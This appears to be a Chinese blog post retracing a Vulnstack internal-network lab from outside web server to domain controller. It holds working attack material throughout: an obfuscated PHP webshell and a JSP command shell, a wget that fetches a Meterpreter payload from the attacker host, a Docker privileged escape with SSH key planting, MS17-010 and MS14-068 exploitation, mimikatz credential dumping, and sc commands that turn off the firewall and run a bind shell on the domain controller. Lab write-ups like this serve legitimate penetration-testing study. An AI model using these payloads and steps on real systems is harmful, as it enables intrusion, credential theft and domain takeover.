HACK学习呀-内网渗透实践2

内网渗透-2

公众号上HACK学习呀上面的一篇内网渗透文章,收益颇多,本篇文章实验部分为自己重现

重现时遇到各式各样的奇葩问题,现均已解决

原文链接:https://mp.weixin.qq.com/s/UIGYJvfNAty7ywg3EBjTJw

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

本次靶场渗透包括反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。
在这里插入图片描述

知识点

st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透

环境配置

共三台靶机,导入到VMware中

在这里插入图片描述

在这里插入图片描述

导入完成后,更改相应主机的网卡配置

模拟外网网卡配置–>桥接模式 网段:192.168.0.0/24

模拟内网网卡配置–>VMnet2(Nat模式) 网段:192.168.183.0/24(必须相同)

在这里插入图片描述

攻击机(Kali)网卡配置,IP:192.168.142.108:

在这里插入图片描述

WEB服务器(Ubuntu)网卡配置:

在这里插入图片描述

内网其他主机网卡配置:

在这里插入图片描述

这样,我们就为这三台虚拟主机构建了一个内网,DC和域成员Windows 7位于内网,外网访问不到他们,Web服务器作为连接内网和外网的枢纽。

我们的Web服务器为Ubuntu,且其环境都是由docker启动的,根据靶场描述,我们需要启动的环境有:

  • s2-045
  • CVE-2017-12615(tomcat put上传)
  • cve-2018-12613(phpmyadmin文件包含漏洞)

注:Ubuntu默认密码为Ubuntu

首先切换为root用户,然后进入到相关目录中,用docker-compose up -d命令开启,如下图:

在这里插入图片描述

ubuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu: 
root@ubuntu:/home/ubuntu# cd Desktop/vulhub/struts2/s2-045/
root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# docker-compose up -d
Starting s2-045_struts2_1 ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# docker-compose up -d
Starting cve-2017-12615_tomcat_1 ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613# docker-compose up -d
Starting cve-2018-12613_mysql_1 ... done
Starting cve-2018-12613_web_1   ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613# 

可见,环境开启成功

外网初探

我们已知Web服务器的公网IP为192.168.142.37(模拟),所以,我们可以先对其Web服务器进行端口扫描,如下:

nmap -T4 -sC -sV 192.168.142.37

在这里插入图片描述

可知其开启了ssh、Tomcat、phpmyadmin等,其端口号由于版本如上图一目了然。我们先来测试PhpMyAdmin 4.8.1的漏洞(CVE-2018-12613),该漏洞相比大家已经很熟悉了,是phpMyAdmin 4.8.1版本的一个文件包含漏洞,通过 二次url编码 即可绕过过滤。

PhpMyAdmin 4.8.1文件包含漏洞

我们访问web服务器上的phpmyadmin:

在这里插入图片描述

测试CVE-2018-12613漏洞:

http://192.168.142.37:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述

如上图成功利用,可见确实存在该漏洞。接下来,我们可以通过开启mysql全局日志并改变写入的日志的路径来getshell,但是该方法在SET GLOBAL general_log='on'开启全局日志是收到了权限限制,所以我们可以考虑包含session文件来getshell。

在sql执行处执行select '<?php phpinfo();?>',并F12查看当前页面cookie中的phpmyadmin的值。

在这里插入图片描述

在这里插入图片描述

得到此时网络cookie中的phpmyadmin值为ae01dd428f73c55c793ac43f14b6391c,则此时产生的session文件名为sess_ae01dd428f73c55c793ac43f14b6391c。构建包含Session值的URL路径,包含该session文件:

?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_ae01dd428f73c55c793ac43f14b6391c

在这里插入图片描述

包含成功,显示了phpinfo页面,接下来我们要利用文件包含漏洞来getshell。在sql执行处执行一下语句来在session文件中写入免杀的webshell:

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['whoami']));?>"

在这里插入图片描述

这里蚁剑链接不知道出了什么问题:

在这里插入图片描述

换种方式蚁剑链接后成功:

使用select语句构造好php文件

SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?>";

在这里插入图片描述

访问日志文件生成php木马

在这里插入图片描述

使用蚁剑成功连接

在这里插入图片描述

在这里插入图片描述

然而,我们虽然拿到了目标服务器的shell,但此时的shell只是目标机docker中的shell,要想实现对docker宿主机的控制,我们还要docker逃逸。

Tomcat 任意文件上传漏洞(CVE-2017-12615)

上面我们演示了PhpMyAdmin 4.8.1文件包含漏洞拿到了目标的shell,接下来我们演示利用Tomcat 任意文件上传漏洞(CVE-2017-12615)来获取目标的控制权。(本次渗透也以该漏洞为主)

我们在当开始的nmap端口扫描中可以发现,目标Web服务器的2002端口上运行着Tomcat,并且版本为8.5.19。我们知道Tomcat的漏洞比较出名的有CVE-2017-12615,CVE-2017-12615是Tomcat中间件的任意文件上传漏洞,但此漏洞影响范围是Apache Tomcat 7.0.0 – 7.0.79,我们靶机的Tomcat版本似乎不再影响范围之内,是实际中Tomcat 5-9均存在类似CVE-2017-12615的利用方式,同样可以类比运用,但这不归属于CVE-2017-12615漏洞。

访问目标Web服务器的Tomcat:

在这里插入图片描述

使用burpsuite抓包:

在这里插入图片描述

在以上红框处做修改,将GET方法改为PUT,并上传webshell文件shell.jsp,其中内容如下:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

在这里插入图片描述

(注意:红框里的文件名处,必须为/shell.jsp/的格式,最后的/一定要带着)

上传成功,然后访问该文件的url:

在这里插入图片描述

利用msf生成后门:

在这里插入图片描述

开启http服务,然后通过wget下载到服务器上:

在这里插入图片描述

wget http://192.168.142.108:8000/shell.elf

在这里插入图片描述

ls -l 查看上传的shell

在这里插入图片描述

发现没有执行权,添加执行权

在这里插入图片描述
在这里插入图片描述

kali开启监听,得到服务器meterpreter

在这里插入图片描述
在这里插入图片描述

如上图,msf成功获得了会话。

利用–Privileged特权模式逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

我们看到靶场描述中有一个“ssh密钥利用”,猜测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制。

首先我们现在docker中新建一个/hack目录用来挂在文件:

在这里插入图片描述

然后ls /dev看到/dev目录会发现很多设备文件,

在这里插入图片描述

我们可以尝试将/dev/sda1挂载到/hack目录里:

mount /hack /dev/sda1

在这里插入图片描述

如上图,挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

然后,在攻击机本地生成ssh秘钥:

ssh-keygen -f hack
chmod 600 hack    // 不要忘记对秘钥文件赋600权限,否则不能执行哦

即可在当前目录下生成一个秘钥文件

在这里插入图片描述

接下来要做的就是将生成的秘钥写入到目标机中了。前面说了,将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的,比如我们访问/hack/home目录也就是访问宿主机的/home目录:

在这里插入图片描述

看见一个Ubuntu用户的主目录,进去看看,ls -alh /hack/home/ubuntu(查看包括隐藏的文件):

这里我使用的是meterpreter,直接用ls就可以看到所有文件

在这里插入图片描述

我们看见了一个.ssh目录,我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。

依次执行如下命令写入秘钥:

cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys    # -avx是将权限也一起复制
echo > /hack/home/ubuntu/.ssh/authorized_keys      # 清空authorized_keys文件
echo '生成的.pub文件的内容' > /hack/home/ubuntu/.ssh/authorized_keys    # 将ssh秘钥写入authorized_keys文件

在这里插入图片描述

写入成功。

此时,攻击者就可以利用自己的私钥进行免密登陆目标宿主机了:

ssh -i hack ubuntu@192.168.142.37

在这里插入图片描述

成功拿到目标机(docker宿主机)Web服务器的shell。

查看一下网络配置:ifconfig

在这里插入图片描述

可知,目标Web服务器除了一个公网IP(192.168.142.37)外,还有一个内网IP(192.168.183.135)。然后我们在目标及上用wget下载我们之前生成的msf马,并执行,反弹一个meterpreter过来,

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接下来我们要做的就是设置代理通向内网、扫描内网主机、添加路由继续渗透等等。

攻入内网

使用强大且稳定的代理工具chisel(这很重要,使用ew会出现session莫名奇妙die的情况

项目地址:https://github.com/jpillora/chisel

在目标web服务器上传chisel,然后执行:

./chisel server -p 2333 --socks5

在这里插入图片描述
在这里插入图片描述

攻击机执行:

./chisel client 192.168.142.37:2333 socks

在这里插入图片描述

如上图,成功在攻击机上面的1080端口开启了一个socks5监听,我们现在在/etc/proxychains4.conf文件中添加代理信息,在最后一行添加即可

在这里插入图片描述
此时,我们攻击机上的应用程序就可以通过proxychains代理进目标内网了。探测目标内网的主机存活:

proxychains4 nmap -sT -Pn 192.168.183.1/24 > nmap.txt

这里我为了缩短扫描时长,增加了-p445参数,只扫描445端口开放状态:

在这里插入图片描述

查看nmap文件,搜索关键字open,得到内网两个主机的ip:

在这里插入图片描述

既然是攻击内网,我们当然少不了试试ms17_010了,我们先在msf上添加一个通往内网的路由:

run autoroute -s 192.168.183.0/24
run autoroute -p

在这里插入图片描述

添加成功,开始扫描目标内网中存在ms17_010永恒之蓝漏洞的主机:

在这里插入图片描述

发现两个主机都存在漏洞,先打那个Windows 7(192.168.183.129):

setg Proxies socks5:127.0.0.1:1080       // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
run

注意要setg Proxies socks5:192.168.0.105:1080设置代理,不设置代理ms17_010很难打通,不知道为什么,也是刚学到的。

这里我自己实验时发现使用meterpreter加上路由之后反而打不通,我这里使用run autoroute -d -s 192.168.183.0/24删掉了添加的路由,然后仅使用全局代理搭进去了。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。

getuid    #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self   #返回到之前的AccessToken权限

在这里插入图片描述

接下来要做的就是信息收集

 ipconfig /all   查看本机ip,所在域
 route print     打印路由信息
 net view        查看局域网内其他主机名
 arp -a          查看arp缓存
 whoami
 net start       查看开启了哪些服务
 net share       查看开启了哪些共享
 net share ipc$  开启ipc共享
 net share c$    开启c盘共享
 net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接
 net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享
 dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件
 
 net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 查看本机用户列表
 net user /domain         查看域用户
 net localgroup administrators   查看本地管理员组(通常会有域用户)
 net view /domain         查看有几个域
 net user 用户名 /domain   获取指定域用户的信息
 net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    查看域中某工作组
 net group "domain admins" /domain  查看域管理员的名字
 net group "domain computers" /domain  查看域中的其他主机名
 net group "doamin controllers" /domain  查看域控制器(可能有多台)

在这里插入图片描述

经过一波收集我们得知,目标Windows 7在DEMO.com域中,域控为WIN-ENS2VR5TR3N$,域管理员为Administrator,我们ping一下主域,查看域控的IP:

在这里插入图片描述

可知域控IP为192.168.183.130。

在目标机上传mimikatz,抓一下Windows 7的密码

在这里插入图片描述
此处有个坑,我用ms17_010获得的system权限在运行mimikatz的时候回报错:
在这里插入图片描述

反复折腾了一番最后模拟了一个目标机上的system的令牌竟然成功了:(不可思议,有大佬知道为什么的话请告诉我)

在这里插入图片描述

得到douser用户的明文密码为Dotest123。接下来我们就可以继续横向移动攻击域控了。

攻入域控

尝试使用ms17_010攻击域控,发现失败了,既然我们得到了域用户douser的密码,我们为何不试一下PTT(ms14-068)呢?下面演示ms14-068的利用过程:

在目标Windows 7上传ms14-068.exe,然后执行如下生成TGT票据:

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

在这里插入图片描述
注:以下操作须是本地管理员用户

在这里插入图片描述
如上图成功生成票据文件“TGT_douser@DEMO.com.ccache”。然后利用mimikatz注入票据:

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件>   //将票据注入到内存中

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

在这里插入图片描述

如上图,票据注入成功。

查看注入是否成功klist

在这里插入图片描述

尝试net use登录域控:

net use \\WIN-ENS2VR5TR3N

在这里插入图片描述

如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马,将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘:

msfvenom -p windows/meterpreter/bind_tcp LPORT=4445 -f exe -o bind.exe

在这里插入图片描述

将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘:

copy c:\users\douser\bind.exe \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述

我们用sc服务来远程执行。

关闭防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述

创建服务执行msf马(msf正在监听):

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

寻找敏感文件

拿下域控后,我们就要寻找开头说的那个域控中的重要文件了。

我们开启域控的远程桌面:

run getgui -e

或者:

run post/windows/manage/enable_rdp

在这里插入图片描述

登录远程桌面:

proxychains4 rdesktop 192.168.183.130

在这里插入图片描述

上传everything:
在这里插入图片描述
打开Everything,开启HTTP服务,设置端口为2333:

在这里插入图片描述

开启成功,然后攻击者浏览器设置代理:127.0.0.1:1080(前面不是开启了chisel代理了吗)

在这里插入图片描述

大功告成!

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值